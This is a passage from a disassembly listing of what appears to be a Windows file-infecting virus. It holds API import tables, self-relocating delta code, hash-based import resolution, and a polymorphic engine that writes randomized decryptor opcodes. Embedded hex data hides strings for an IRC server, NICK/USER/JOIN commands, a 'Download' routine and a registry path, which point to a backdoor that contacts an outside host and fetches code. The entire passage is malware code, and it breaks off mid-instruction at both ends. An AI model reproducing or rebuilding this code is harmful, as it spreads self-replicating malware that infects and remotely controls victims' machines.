'GetFileAttributesA',0 aGetfilesize db 'GetFileSize',0 aGetfiletime db 'GetFileTime',0 aGetmodulehandl db 'GetModuleHandleA',0 aGettempfilenam db 'GetTempFileNameA',0 aGettemppatha db 'GetTempPathA',0 aGetversion db 'GetVersion',0 aGetversionexa db 'GetVersionExA',0 aLoadlibrarya_0 db 'LoadLibraryA',0 aMapviewoffile db 'MapViewOfFile',0 aOpenfilemappin db 'OpenFileMappingA',0 aOpenprocess db 'OpenProcess',0 aProcess32first db 'Process32First',0 aProcess32next db 'Process32Next',0 aSetfileattribu db 'SetFileAttributesA',0 aSetfiletime db 'SetFileTime',0 aSleep db 'Sleep',0 aSystemtimetofi db 'SystemTimeToFileTime',0 aUnmapviewoffil db 'UnmapViewOfFile',0 aVirtualalloc db 'VirtualAlloc',0 aWritefile db 'WriteFile',0 aNtadjustprivil db 'NtAdjustPrivilegesToken',0 aNtcreatefile db 'NtCreateFile',0 aNtcreateproces db 'NtCreateProcess',0 aNtcreateproc_0 db 'NtCreateProcessEx',0 aNtcreatesectio db 'NtCreateSection',0 aNtmapviewofsec db 'NtMapViewOfSection',0 aNtopenfile db 'NtOpenFile',0 aNtopenprocesst db 'NtOpenProcessToken',0 aNtprotectvirtu db 'NtProtectVirtualMemory',0 aNtwritevirtual db 'NtWriteVirtualMemory',0 aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0 aWsastartup db 'WSAStartup',0 aClosesocket db 'closesocket',0 aConnect db 'connect',0 aGethostbyname db 'gethostbyname',0 aRecv db 'recv',0 aSend db 'send',0 aSocket db 'socket',0 aInternetcloseh db 'InternetCloseHandle',0 aInternetgetcon db 'InternetGetConnectedState',0 aInternetopena db 'InternetOpenA',0 aInternetopenur db 'InternetOpenUrlA',0 aInternetreadfi db 'InternetReadFile',0 aAdvapi32_dll db 'ADVAPI32.DLL',0 aRegclosekey_0 db 'RegCloseKey',0 aRegopenkeyexa db 'RegOpenKeyExA',0 aRegqueryvaluee db 'RegQueryValueExA',0 aRegsetvalueexa db 'RegSetValueExA',0 ; =============== S U B R O U T I N E ======================================= sub_40AB62 proc near ; CODE XREF: seg002:0040AC09p ; seg002:0040AC1Ap ... var_5 = byte ptr -5 sub ecx, 5 sub ecx, eax push ecx push 0E8000000h lea ecx, [esp+8+var_5] push 0 push 5 push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax push esp push 40h push ecx push edx push ebx call dword ptr [ebp+4035F0h] add esp, 0Ch call dword ptr [ebp+4035F4h] add esp, 8 retn sub_40AB62 endp ; --------------------------------------------------------------------------- push edi lea eax, [ebp+4015B1h] xor edi, edi push eax push 0 push 0Eh call dword ptr [ebp+4035A4h] test eax, eax jz loc_40AC45 push eax push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 100000h push 2 push edx push 0 push 69CEh push 0 push ecx push ebx push eax call ss:dword_4035E4[ebp] pop edi pop ecx call ss:dword_40353C[ebp] test edi, edi jz short loc_40AC45 mov ecx, [ebp+401588h] jecxz short loc_40ABFD lea edx, sub_401000[ebp] add edx, ecx push edi push ebx call edx loc_40ABFD: ; CODE XREF: seg002:0040ABEFj mov eax, ss:dword_4035D4[ebp] lea ecx, [edi+2394h] call sub_40AB62 mov eax, ss:dword_4035E8[ebp] lea ecx, [edi+23E1h] call sub_40AB62 mov eax, ss:dword_4035D8[ebp] lea ecx, [edi+23E8h] call sub_40AB62 mov eax, ss:dword_4035DC[ebp] test eax, eax jz short loc_40AC45 lea ecx, [edi+23F5h] call sub_40AB62 loc_40AC45: ; CODE XREF: seg002:0040ABAFj ; seg002:0040ABE7j ... mov eax, edi pop edi retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 401A14h xor ecx, ecx lea eax, [ebp+401DAEh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+40356Ch] xchg eax, [esp] call ss:dword_40353C[ebp] pop ebp retn 4 ; --------------------------------------------------------------------------- dd 0E855h, 815D0000h, 401A43EDh, 8DFF6A00h, 401A0E95h dd 0CD525000h, 2A002420h, 0CC48300h, 5485C766h, 0CD00401Ah dd 5685C720h, 2400401Ah, 5D002A00h, 6A016AC3h, 0FF33FF01h dd 15FF0473h, 0F074C085h, 0B68h, 5BD08B00h, 8D3C5003h dd 401A72B5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C783C2EBh, 0D48B570Fh dd 50CC8B53h, 51406A54h, 0FFFF6A52h, 4035F095h, 0CC48300h dd 3574958Bh, 0D72B0040h, 0C707EA83h, 0E8006A07h, 3578900h dd 581A6AC3h, 9E8h, 61428D00h, 75C9FEAAh db 0F0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_40AD2A proc near ; CODE XREF: sub_40B595+1Bp ; sub_40B70D+3p ... imul edx, ss:dword_403646[ebp], 8088405h inc edx mov ss:dword_403646[ebp], edx mul edx retn sub_40AD2A endp ; --------------------------------------------------------------------------- dw 0E855h dd 0 dd 9ED815Dh, 8B00401Bh, 40364A9Dh, 247C8300h, 840F0008h dd 0B9h, 208EC81h, 68540000h, 104h, 359095FFh, 0FC8B0040h dd 424848Dh, 50000001h, 4E8006Ah, 56000000h, 57005452h dd 358C95FFh, 0C9330040h, 104978Dh, 51510000h, 6A51026Ah dd 6801h, 0FF524000h, 40355C95h, 0F6859600h, 54505B74h dd 10468h, 0B4FF5700h, 22024h, 2895FF00h, 59004036h, 1674C085h dd 8B5014E3h, 52006AD4h, 0FF565751h, 4035CC95h, 0C0855900h dd 0FF56D075h, 40353C95h, 44578D00h, 446A5752h, 4978D58h dd 0AB000001h, 106AC033h, 50ABF359h, 50505050h, 0FF525050h dd 40356495h, 8C48100h, 0FF000002h, 0FF082474h, 40361895h dd 95FF5300h, 403618h, 4C25Dh, 750A3E80h, 8D8B4601h, 401584h dd 958D19E3h, 401000h, 0FF56D103h, 0FC084D2h, 11F88h, 10840F00h dd 80000001h, 10753A3Eh, 3E8046h, 101840Fh, 3E800000h dd 46F17520h, 49503E81h, 4275474Eh, 46C6CF8Bh, 0CE2B4F01h dd 51006A51h, 95FF5356h, 403610h, 0FC13B59h, 0DF85h, 0A2858D00h dd 6A00401Dh, 0C6800h, 53500000h, 361095FFh, 0C3D0040h dd 0F000000h, 0BF85h, 0B1E900h, 3E810000h, 56495250h, 0A5850Fh dd 0C6830000h, 0D3CAC08h, 99840Fh, 203C0000h, 3CACF375h dd 8C850F3Ah, 0AD000000h, 2020200Dh, 67213D20h, 7F757465h dd 75203CACh, 0FF7E817Ch, 74746820h, 7E817175h, 2F3A7003h dd 0C668752Fh, 0F00FF47h, 2710BA31h, 0E2F70000h, 0BC95FF52h dd 33004035h, 505050C0h, 9E850h, 6F440000h, 6F6C6E77h dd 0FF006461h, 40362095h, 74C08500h, 89C93336h, 40364A85h dd 685100h, 51800002h, 0FF505651h, 40362495h, 3958D00h dd 5000401Bh, 5154C933h, 51515250h, 356C95FFh, 4870040h dd 3C95FF24h, 0F8004035h, 778D80C3h, 1004015h, 4F53C3F9h dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h dd 6C707845h, 7265726Fh, 72615400h, 48746567h, 74736Fh dd 0F0FF0002h, 100007Fh, 786F7270h, 692E6D69h, 61676372h dd 7978616Ch, 6C702Eh, 4B43494Eh, 7A726D20h, 7A727374h dd 53550A71h, 79205245h, 35303230h, 2E203130h, 3A202E20h dd 494F4A2Dh, 7626204Eh, 75747269h, 0E8550Ah, 5D000000h dd 1DB4ED81h, 85C60040h, 401577h, 9495FF00h, 0C1004035h dd 3C741FE8h, 0B58B1E6Ah, 403550h, 2E3CAC59h, 81662A75h dd 751DFF3Eh, 40BD8D23h, 8B004036h, 0A5570276h, 858DA566h dd 40336Ah, 3390858Fh, 89FA0040h, 4E8CFA46h, 1B1FBFEh dd 43EBCFE2h, 15B1858Dh, 6A500040h, 0FF0E6A00h, 4035A495h dd 247C8300h, 2B750408h, 4E8h, 43465300h, 8895FF00h, 0E8004035h dd 0FFFFFC48h, 7E8h, 43465300h, 534F5Fh, 358895FFh, 31E80040h dd 0E8FFFFFCh, 0FFFFF356h, 13038DFFh, 0BE80040h, 55000000h dd 33524553h, 4C442E32h, 95FF004Ch, 40359Ch, 0AE8h, 70737700h dd 746E6972h, 50004166h, 354895FFh, 85890040h, 403554h dd 8D8D310Fh, 4018E0h, 36468589h, 0FF510040h, 40359C95h dd 4689300h, 8D000000h, 4018EDB5h, 0BD8D5900h, 40362Ch dd 0FFF6D6E8h, 85C766FFh, 401D67h, 0A583F0FFh, 401D69h dd 27958D00h, 5000401Dh, 6A016A54h, 2685200h, 0FF800000h dd 40363095h, 5AC08500h, 8D8D2275h, 401D5Ah, 8D066A52h dd 401D67B5h, 50565400h, 0FF525150h, 40363495h, 95FF5800h dd 40362Ch, 384D85C6h, 0E8000040h, 0Ch, 434F5357h, 2E32334Bh dd 4C4C44h, 359C95FFh, 68930040h, 7, 1844B58Dh, 8D590040h dd 4035FCBDh, 0F651E800h, 0CE8FFFFh, 57000000h, 4E494E49h dd 442E5445h, 0FF004C4Ch, 40359C95h, 0FC08500h, 1E784h dd 5689300h, 8D000000h, 401882B5h, 0BD8D5900h, 403618h dd 0FFF61AE8h, 1CBD83FFh, 4036h, 1C2840Fh, 0EC810000h dd 190h, 1016854h, 95FF0000h, 4035FCh, 190C481h, 8B500000h dd 52006AD4h, 361C95FFh, 0C0850040h, 680D7559h, 1388h dd 35BC95FFh, 0E2EB0040h, 1D69BD83h, 75000040h, 6D858D29h dd 5000401Dh, 360895FFh, 0C0850040h, 13B840Fh, 408B0000h dd 0FF008B0Ch, 69858F30h, 0C600401Dh, 40384D85h, 6A0100h dd 26A016Ah, 361495FFh, 0F8830040h, 12840FFFh, 93000001h dd 1D65958Dh, 106A0040h, 95FF5352h, 403604h, 850FC085h dd 0F2h, 1D86BD8Dh, 8B10040h, 0FFFABCE8h, 9468FFh, 2B5E0000h dd 243489E6h, 9895FF54h, 8D004035h, 401D94BDh, 0E801B100h dd 0FFFFFA9Dh, 1024448Bh, 0B08E0C1h, 0C1042444h, 440B08E0h dd 0E8500824h, 5, 78362E25h, 95FF5700h, 403554h, 0C60CC483h dd 8D200647h, 401D8195h, 68006A00h, 21h, 95FF5352h, 403610h dd 14247C8Dh, 5895FF57h, 0C6004035h, 400A3804h, 5750006Ah dd 1095FF53h, 3004036h, 0A2BD8DE6h, 6A00401Dh, 0C6800h dd 53570000h, 361095FFh, 0C3D0040h, 75000000h, 4EB58D4Dh dd 8D004036h, 40384D8Dh, 6ACE2B00h, 53565100h, 360C95FFh dd 0F8830040h, 912F7E00h, 0B58DFE8Bh, 40364Eh, 0AEF20DB0h dd 0E8601075h, 0FFFFFAF8h, 0E3177261h, 1778D09h, 0CF8BEAEBh dd 0BD8DCE2Bh, 40364Eh, 0F787A4F3h, 0FF53B9EBh, 40360095h dd 77BD8000h, 1004015h, 30682A74h, 0FF000075h, 4035BC95h dd 4DBD8000h, 4038h, 85C71174h, 401D69h, 0 dd 384D85C6h, 0E9000040h, 0FFFFFE56h, 158085C7h, 40h, 0C25D8000h dd 0A0D0004h, 6F6E204Fh, 6F206E6Fh, 696C2066h, 20216566h dd 6974204Fh, 7420656Dh, 6563206Fh, 7262656Ch, 21657461h dd 20200A0Dh, 4F202020h, 6D757320h, 2072656Dh, 64726167h dd 0D216E65h, 6C65520Ah, 6C746E65h, 6C737365h, 61682079h dd 20797070h, 20646E61h, 65707865h, 6E617463h, 73202C74h dd 646E6174h, 3A676E69h, 0A0D2D20h, 63746157h, 676E6968h dd 6C6C6120h, 79616420h, 646E6120h, 67696E20h, 202C7468h dd 20726F66h, 65697266h, 2073646Eh, 61772049h, 0D3A7469h dd 6568570Ah, 61206572h, 79206572h, 202C756Fh, 65697266h dd 3F73646Eh, 6D6F4320h, 49202165h, 73692074h, 6D697420h dd 49202165h, 20732774h, 6574616Ch, 290A0D21h, 5710A614h dd 5C3AAB59h, 6AC26CCCh, 4606EF9h, 4730C784h, 0ED6299ADh dd 134FD479h, 4810A614h, 7E403752h, 0E51A73C1h, 5227B1FAh dd 0D8B8B3h, 13h dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_40B4DF proc near ; CODE XREF: sub_40B526:loc_40B583p ; sub_40B5E6+7p ... arg_0 = dword ptr 4 pusha and ss:dword_4039A6[ebp], 0 and ss:dword_4039AA[ebp], 0 movzx eax, word ptr [ebx+14h] lea edx, [ebx+18h] movzx ecx, word ptr [ebx+6] add edx, eax loc_40B4FB: ; CODE XREF: sub_40B4DF+41j mov eax, [esp+20h+arg_0] sub eax, [edx+0Ch] jb short loc_40B51D cmp eax, [edx+8] jnb short loc_40B51D mov eax, [edx+14h] sub eax, [edx+0Ch] mov ss:dword_4039A6[ebp], edx mov ss:dword_4039AA[ebp], eax jmp short loc_40B522 ; --------------------------------------------------------------------------- loc_40B51D: ; CODE XREF: sub_40B4DF+23j ; sub_40B4DF+28j add edx, 28h loop loc_40B4FB loc_40B522: ; CODE XREF: sub_40B4DF+3Cj popa retn 4 sub_40B4DF endp ; =============== S U B R O U T I N E ======================================= sub_40B526 proc near ; CODE XREF: seg002:0040B852p ; seg002:0040B878p mov byte ptr ss:loc_4022F7[ebp], al call sub_40B595 push 20h lea eax, [ebp+402224h] pop ecx loc_40B53D: ; CODE XREF: sub_40B526+1Ej cmp [eax], ebx jz short loc_40B54D add eax, 4 loop loc_40B53D inc ss:dword_40398E[ebp] retn ; --------------------------------------------------------------------------- loc_40B54D: ; CODE XREF: sub_40B526+19j neg ecx add ecx, dword ptr ss:loc_4022F7[ebp] jecxz short loc_40B567 loc_40B557: ; CODE XREF: sub_40B526+39j push dword ptr [eax-4] pop dword ptr [eax] sub eax, 4 loop loc_40B557 mov [ebp+402224h], ebx loc_40B567: ; CODE XREF: sub_40B526+2Fj ; sub_40B595+34j cmp dword ptr [edx], 0 jz short loc_40B571 sub esi, [edx] add esi, [edx+10h] loc_40B571: ; CODE XREF: sub_40B526+44j lea ecx, [esi-4] pop eax pop ebx pop esi cmp dword ptr [edx], 0 jz short loc_40B580 push dword ptr [edx] jmp short loc_40B583 ; --------------------------------------------------------------------------- loc_40B580: ; CODE XREF: sub_40B526+54j push dword ptr [edx+10h] loc_40B583: ; CODE XREF: sub_40B526+58j call sub_40B4DF sub ecx, esi sub ecx, ss:dword_4039AA[ebp] pop eax add ecx, [ebx+34h] retn sub_40B526 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B595 proc near ; CODE XREF: sub_40B526+6p pop ss:dword_403992[ebp] mov ss:dword_40398E[ebp], 0 call sub_40B5E6 mov eax, ss:dword_40398E[ebp] call sub_40AD2A call sub_40B5D2 cmp ss:dword_40398E[ebp], 0 jnz short loc_40B5CB mov dword ptr ss:sub_4022A0[ebp], ebx jmp short loc_40B567 ; --------------------------------------------------------------------------- loc_40B5CB: ; CODE XREF: sub_40B595+2Cj dec ss:dword_40398E[ebp] retn sub_40B595 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B5D2 proc near ; CODE XREF: sub_40B595+20p pop ss:dword_403992[ebp] mov ss:dword_40398E[ebp], edx call sub_40B5E6 xor ecx, ecx retn sub_40B5D2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B5E6 proc near ; CODE XREF: sub_40B595+10p ; sub_40B5D2+Cp ... var_C = dword ptr -0Ch var_4 = dword ptr -4 mov edx, [ebx+80h] push edx call sub_40B4DF add edx, ss:dword_4039AA[ebp] add edx, esi loc_40B5FA: ; CODE XREF: sub_40B5E6+120j cmp dword ptr [edx+0Ch], 0 jz locret_40B70B cmp dword ptr [edx+10h], 0 jz locret_40B70B mov eax, [edx+0Ch] push eax call sub_40B4DF add eax, ss:dword_4039AA[ebp] add eax, esi push eax loc_40B620: ; CODE XREF: sub_40B5E6+47j mov cl, [eax] cmp cl, 0 jz short loc_40B640 cmp cl, 2Eh jz short loc_40B62F loc_40B62C: ; CODE XREF: sub_40B5E6+58j inc eax jmp short loc_40B620 ; --------------------------------------------------------------------------- loc_40B62F: ; CODE XREF: sub_40B5E6+44j mov ecx, [eax+1] and ecx, 0DFDFDFDFh cmp ecx, 4C4C44h jnz short loc_40B62C loc_40B640: ; CODE XREF: sub_40B5E6+3Fj pop ecx sub ecx, eax cmp ecx, 0FFFFFFFAh jg loc_40B703 cmp word ptr [eax-2], 3233h jnz loc_40B703 push esi cmp dword ptr [edx], 0 jnz short loc_40B663 mov ecx, [edx+10h] jmp short loc_40B665 ; --------------------------------------------------------------------------- loc_40B663: ; CODE XREF: sub_40B5E6+76j mov ecx, [edx] loc_40B665: ; CODE XREF: sub_40B5E6+7Bj add esi, ecx push ecx call sub_40B4DF add esi, ss:dword_4039AA[ebp] loc_40B673: ; CODE XREF: sub_40B5E6+90j ; sub_40B5E6+117j lodsd test eax, eax js short loc_40B673 jz loc_40B702 push ss:dword_4039AA[ebp] push eax call sub_40B4DF add eax, ss:dword_4039AA[ebp] pop ss:dword_4039AA[ebp] add eax, [esp+4+var_4] push ebx add eax, 2 xor ebx, ebx loc_40B69F: ; CODE XREF: sub_40B5E6+CEj movzx ecx, byte ptr [eax] jecxz short loc_40B6B6 or cl, 20h push ebx shl [esp+0Ch+var_C], 4 sub [esp+0Ch+var_C], ebx sub [esp+0Ch+var_C], ecx pop ebx inc eax jmp short loc_40B69F ; --------------------------------------------------------------------------- loc_40B6B6: ; CODE XREF: sub_40B5E6+BCj cmp ebx, 0DDBBD70Fh jz short loc_40B6FC cmp ebx, 0DB6E45A8h jz short loc_40B6FC cmp ebx, 0FFA13B59h jz short loc_40B6FC cmp ebx, 0ACB522D6h jz short loc_40B6FC cmp ebx, 0F358E993h jz short loc_40B6FC cmp ebx, 0F358E97Dh jz short loc_40B6FC cmp ebx, 0E1253F46h jz short loc_40B6FC cmp ebx, 0E1253F30h jz short loc_40B6FC call ss:dword_403992[ebp] loc_40B6FC: ; CODE XREF: sub_40B5E6+D6j ; sub_40B5E6+DEj ... pop ebx jmp loc_40B673 ; --------------------------------------------------------------------------- loc_40B702: ; CODE XREF: sub_40B5E6+92j pop esi loc_40B703: ; CODE XREF: sub_40B5E6+60j ; sub_40B5E6+6Cj add edx, 14h jmp loc_40B5FA ; --------------------------------------------------------------------------- locret_40B70B: ; CODE XREF: sub_40B5E6+18j ; sub_40B5E6+22j retn sub_40B5E6 endp ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_40B70D proc near ; CODE XREF: seg002:0040B84Bp ; seg002:0040B871p push 4 pop eax call sub_40AD2A mov [ebp+4024D1h], dl mov ax, 1831h add ah, dl shl ah, 3 add ah, dl stosw push 6 pop eax call sub_40AD2A add edx, 8 xchg edx, ecx loc_40B735: ; CODE XREF: sub_40B70D:loc_40B774j push 5 pop eax call sub_40AD2A cmp dl, 3 jnb short loc_40B74D mov al, 50h add al, [ebp+4024D1h] stosb jmp short loc_40B774 ; --------------------------------------------------------------------------- loc_40B74D: ; CODE XREF: sub_40B70D+33j push 68h pop eax stosb cmp dl, 3 jnz short loc_40B76E mov al, 11h call sub_40AD2A mov eax, 1 loc_40B762: ; CODE XREF: sub_40B70D+5Dj test dl, dl jz short loc_40B773 shl eax, 1 dec dl jmp short loc_40B762 ; --------------------------------------------------------------------------- jmp short loc_40B773 ; --------------------------------------------------------------------------- loc_40B76E: ; CODE XREF: sub_40B70D+47j mov eax, 80000000h loc_40B773: ; CODE XREF: sub_40B70D+57j ; sub_40B70D+5Fj stosd loc_40B774: ; CODE XREF: sub_40B70D+3Ej loop loc_40B735 retn sub_40B70D endp ; --------------------------------------------------------------------------- loc_40B777: ; CODE XREF: sub_40C1D1+112p lea edi, [ebp+40343Ch] test ss:dword_403431[ebp], 80000000h jz short loc_40B78C mov al, 60h stosb loc_40B78C: ; CODE XREF: seg002:0040B787j test ss:dword_403431[ebp], 1000003h jz loc_40B892 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call near ptr 0BDCA6350h xchg eax, esi cmp [eax+0], eax mov al, 0E8h stosb stosd test ss:dword_403431[ebp], 1000000h mov ss:dword_40399A[ebp], edi jz short loc_40B80A test ss:dword_403431[ebp], 2000000h mov eax, 36FF6467h jnz short loc_40B7D5 mov eax, 2E8B6467h loc_40B7D5: ; CODE XREF: seg002:0040B7CEj stosd mov ax, 0 stosw jz short loc_40B7E1 mov al, 5Dh stosb loc_40B7E1: ; CODE XREF: seg002:0040B7DCj test ss:dword_403431[ebp], 8000000h mov eax, 86D8Dh jnz short loc_40B808 test ss:dword_403431[ebp], 4000000h mov eax, 8C583h jz short loc_40B808 mov eax, 0F8ED83h loc_40B808: ; CODE XREF: seg002:0040B7F0j ; seg002:0040B801j stosd dec edi loc_40B80A: ; CODE XREF: seg002:0040B7BDj test ss:dword_403431[ebp], 3 jz short loc_40B81A mov al, 0E9h stosb stosd loc_40B81A: ; CODE XREF: seg002:0040B814j mov eax, ss:dword_403996[ebp] mov ecx, edi sub ecx, eax mov [eax-4], ecx test ss:dword_403431[ebp], 3 jz short loc_40B892 mov eax, 36FF6467h mov ss:dword_40399E[ebp], edi stosd mov eax, 64670000h stosd mov eax, 2689h stosd call sub_40B70D mov al, 20h call sub_40B526 jecxz short loc_40B892 mov ax, 15FFh stosw xchg eax, ecx stosd mov edx, ss:dword_403431[ebp] not edx test edx, 3 jnz short loc_40B885 call sub_40B70D mov al, 1Fh call sub_40B526 mov ax, 15FFh stosw xchg eax, ecx stosd loc_40B885: ; CODE XREF: seg002:0040B86Fj mov ecx, edi mov eax, ss:dword_40399E[ebp] sub ecx, eax mov [eax-4], ecx loc_40B892: ; CODE XREF: seg002:0040B796j ; seg002:0040B831j ... test ss:dword_403431[ebp], 4 jz short loc_40B8B0 mov eax, 0C8FEC029h stosd mov eax, 474C008h stosd mov eax, 67EBF875h stosd loc_40B8B0: ; CODE XREF: seg002:0040B89Cj test ss:dword_403431[ebp], 8 jnz short loc_40B906 cmp ss:byte_40342F[ebp], 0 jz short loc_40B906 mov eax, 0C9291829h or ah, ss:byte_40342B[ebp] shl ah, 3 or ah, ss:byte_40342B[ebp] stosd mov al, 0B1h stosb mov al, ss:byte_40342F[ebp] stosb mov al, 40h or al, ss:byte_40342B[ebp] stosb mov ax, 0FDE2h test ss:dword_403431[ebp], 10h jz short loc_40B904 mov al, 49h stosb mov ax, 0FC75h loc_40B904: ; CODE XREF: seg002:0040B8FBj stosw loc_40B906: ; CODE XREF: seg002:0040B8BAj ; seg002:0040B8C3j mov al, 0E8h stosb xor eax, eax stosd mov ss:dword_403982[ebp], edi test ss:dword_403431[ebp], 20h jnz short loc_40B927 mov al, 58h or al, ss:byte_403429[ebp] stosb loc_40B927: ; CODE XREF: seg002:0040B91Cj mov ax, 0C081h test ss:dword_403431[ebp], 40h jz short loc_40B93A add ah, 28h loc_40B93A: ; CODE XREF: seg002:0040B935j or ah, ss:byte_403429[ebp] stosw mov ss:dword_403986[ebp], edi stosd test ss:dword_403431[ebp], 40000000h jnz short loc_40B95E mov al, 50h add al, ss:byte_403429[ebp] stosb loc_40B95E: ; CODE XREF: seg002:0040B953j test ss:dword_403431[ebp], 80h jnz short loc_40B975 mov al, 0B8h or al, ss:byte_40342A[ebp] stosb jmp short loc_40B9B2 ; --------------------------------------------------------------------------- loc_40B975: ; CODE XREF: seg002:0040B968j mov ax, 1831h test ss:dword_403431[ebp], 100h jz short loc_40B987 mov al, 29h loc_40B987: ; CODE XREF: seg002:0040B983j or ah, ss:byte_40342A[ebp] shl ah, 3 or ah, ss:byte_40342A[ebp] stosw mov ax, 0F081h test ss:dword_403431[ebp], 200h jnz short loc_40B9AA mov ah, 0C8h loc_40B9AA: ; CODE XREF: seg002:0040B9A6j or ah, ss:byte_40342A[ebp] stosw loc_40B9B2: ; CODE XREF: seg002:0040B973j mov ss:dword_4039A2[ebp], edi mov eax, 243Ch stosd test ss:dword_403431[ebp], 8 jz short loc_40BA36 test ss:dword_403431[ebp], 400h jnz short loc_40B9E1 mov al, 0B8h or al, ss:byte_40342B[ebp] stosb jmp short loc_40BA2E ; --------------------------------------------------------------------------- loc_40B9E1: ; CODE XREF: seg002:0040B9D4j test ss:dword_403431[ebp], 800h jnz short loc_40B9FE mov ax, 0E083h or ah, ss:byte_40342B[ebp] stosw xor eax, eax stosb jmp short loc_40BA13 ; --------------------------------------------------------------------------- loc_40B9FE: ; CODE XREF: seg002:0040B9EBj mov ax, 1829h or ah, ss:byte_40342B[ebp] shl ah, 3 or ah, ss:byte_40342B[ebp] stosw loc_40BA13: ; CODE XREF: seg002:0040B9FCj test ss:dword_403431[ebp], 1000h mov ax, 0C081h jz short loc_40BA26 add ah, 8 loc_40BA26: ; CODE XREF: seg002:0040BA21j or ah, ss:byte_40342B[ebp] stosw loc_40BA2E: ; CODE XREF: seg002:0040B9DFj movzx eax, ss:byte_40342F[ebp] stosd loc_40BA36: ; CODE XREF: seg002:0040B9C8j test ss:dword_403431[ebp], 40000000h jz short loc_40BA4B mov al, 50h add al, ss:byte_403429[ebp] stosb loc_40BA4B: ; CODE XREF: seg002:0040BA40j test ss:dword_403431[ebp], 2000h mov al, 86h jnz short loc_40BA5B add al, 4 loc_40BA5B: ; CODE XREF: seg002:0040BA57j lea ecx, [edi-2] mov ah, ss:byte_403429[ebp] mov ss:dword_40398A[ebp], ecx stosw cmp ah, 5 jnz short loc_40BA78 mov al, 0 or byte ptr [edi-1], 40h stosb loc_40BA78: ; CODE XREF: seg002:0040BA6Fj test ss:dword_403431[ebp], 4000h mov ax, 3166h jnz short loc_40BA8A mov ah, 29h loc_40BA8A: ; CODE XREF: seg002:0040BA86j stosw mov al, 18h or al, ss:byte_40342B[ebp] shl al, 3 stosb mov al, 88h test ss:dword_403431[ebp], 8000h jnz short loc_40BAA8 mov al, 86h loc_40BAA8: ; CODE XREF: seg002:0040BAA4j mov ah, ss:byte_403429[ebp] stosw cmp ah, 5 jnz short loc_40BABC mov al, 0 or byte ptr [edi-1], 40h stosb loc_40BABC: ; CODE XREF: seg002:0040BAB3j test ss:dword_403431[ebp], 10000h jnz short loc_40BAD3 mov al, 40h or al, ss:byte_403429[ebp] stosb jmp short loc_40BAE2 ; --------------------------------------------------------------------------- loc_40BAD3: ; CODE XREF: seg002:0040BAC6j mov ax, 0C083h or ah, ss:byte_403429[ebp] stosw mov al, 1 stosb loc_40BAE2: ; CODE XREF: seg002:0040BAD1j test ss:dword_403431[ebp], 20000h jnz short loc_40BB1D test ss:dword_403431[ebp], 40000h jnz short loc_40BB14 mov al, 0C0h or al, ss:byte_40342B[ebp] mov ah, ss:byte_403430[ebp] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_40BB1C ; --------------------------------------------------------------------------- loc_40BB14: ; CODE XREF: seg002:0040BAF8j mov al, 40h or al, ss:byte_40342B[ebp] loc_40BB1C: ; CODE XREF: seg002:0040BB12j stosb loc_40BB1D: ; CODE XREF: seg002:0040BAECj test ss:dword_403431[ebp], 80000h jnz short loc_40BB39 mov ax, 0E883h or ah, ss:byte_40342A[ebp] stosw mov al, 1 jmp short loc_40BB41 ; --------------------------------------------------------------------------- loc_40BB39: ; CODE XREF: seg002:0040BB27j mov al, 48h or al, ss:byte_40342A[ebp] loc_40BB41: ; CODE XREF: seg002:0040BB37j stosb test ss:dword_403431[ebp], 100000h mov cl, 75h jnz short loc_40BB75 mov ax, 0F883h or ah, ss:byte_40342A[ebp] stosw xor eax, eax stosb sub ss:dword_40398A[ebp], edi test ss:dword_403431[ebp], 200000h jnz short loc_40BB90 mov cl, 77h jmp short loc_40BB90 ; --------------------------------------------------------------------------- loc_40BB75: ; CODE XREF: seg002:0040BB4Ej mov ax, 1809h or ah, ss:byte_40342A[ebp] shl ah, 3 or ah, ss:byte_40342A[ebp] stosw sub ss:dword_40398A[ebp], edi loc_40BB90: ; CODE XREF: seg002:0040BB6Fj ; seg002:0040BB73j mov al, cl mov ah, byte ptr ss:dword_40398A[ebp] stosw mov al, 58h add al, ss:byte_403429[ebp] stosb test ss:dword_403431[ebp], 1000003h jz loc_40BC3A mov eax, 268B6467h mov ecx, ss:dword_403431[ebp] xor ecx, 2000000h test ecx, 3000000h jnz short loc_40BBD1 mov eax, 2E876467h loc_40BBD1: ; CODE XREF: seg002:0040BBCAj stosd mov eax, 0 stosw jnz short loc_40BBE1 mov ax, 0E58Bh stosw loc_40BBE1: ; CODE XREF: seg002:0040BBD9j mov eax, 68F6764h stosd xor eax, eax stosw test ss:dword_403431[ebp], 1000000h jnz short loc_40BC37 test ss:dword_403431[ebp], 8000000h jz short loc_40BC29 mov ax, 6C8Dh test ss:dword_403431[ebp], 2000000h setnz cl or ah, cl stosw test cl, cl jnz short loc_40BC24 mov ax, 424h stosw jmp short loc_40BC37 ; --------------------------------------------------------------------------- loc_40BC24: ; CODE XREF: seg002:0040BC1Aj mov al, 8 stosb jmp short loc_40BC37 ; --------------------------------------------------------------------------- loc_40BC29: ; CODE XREF: seg002:0040BC01j mov ax, 5D58h add al, ss:byte_40342B[ebp] stosw jmp short loc_40BC3A ; --------------------------------------------------------------------------- loc_40BC37: ; CODE XREF: seg002:0040BBF5j ; seg002:0040BC22j ... mov al, 0C9h stosb loc_40BC3A: ; CODE XREF: seg002:0040BBADj ; seg002:0040BC35j test ss:dword_403431[ebp], 80000000h jz short loc_40BC66 mov al, 7 sub al, ss:byte_403429[ebp] shl eax, 1Ah or eax, 240889h add ah, ss:byte_403429[ebp] shl ah, 3 add ah, 4 stosd mov al, 